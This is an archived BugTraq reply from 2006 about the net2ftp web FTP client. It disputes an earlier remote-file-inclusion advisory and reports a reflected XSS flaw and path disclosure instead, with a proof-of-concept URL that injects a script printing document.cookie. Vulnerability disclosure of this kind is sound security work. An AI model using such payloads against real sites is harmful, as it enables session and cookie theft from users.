BugTraq
Re: net2ftp: a web based FTP client :) <= Remote File Inclusion Oct 02 2006 04:13PM
securfrog gmail com
" + Solution:

+ Add this line to your php-file:

+

+ $application_rootdir ="user/dir" //Your root path "

===> 0-o

i guess you should learn some PHP before posting on bugtracks ...

" net2ftp: a web based FTP client :) <= Remote File Inclusion "

===> you should try your PoC before posting , there's no remote file include in that code ...

--------------------------------------------------

btw that there's some XSS post in username

and bunch of full path disclosure ...

here's the PoC :

http://www.example.com/index.php?state=browse&state2=main&ftpserver=blab
la&ftpserverport=21&username=</textarea>'"><script>alert(document.cookie
)</script>;</textarea>'"><script>alert(document.cookie)</script>&passwor
d=haaaa&directory=wop&language=en&skin=india&ftpmode=binary&Login=Login

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus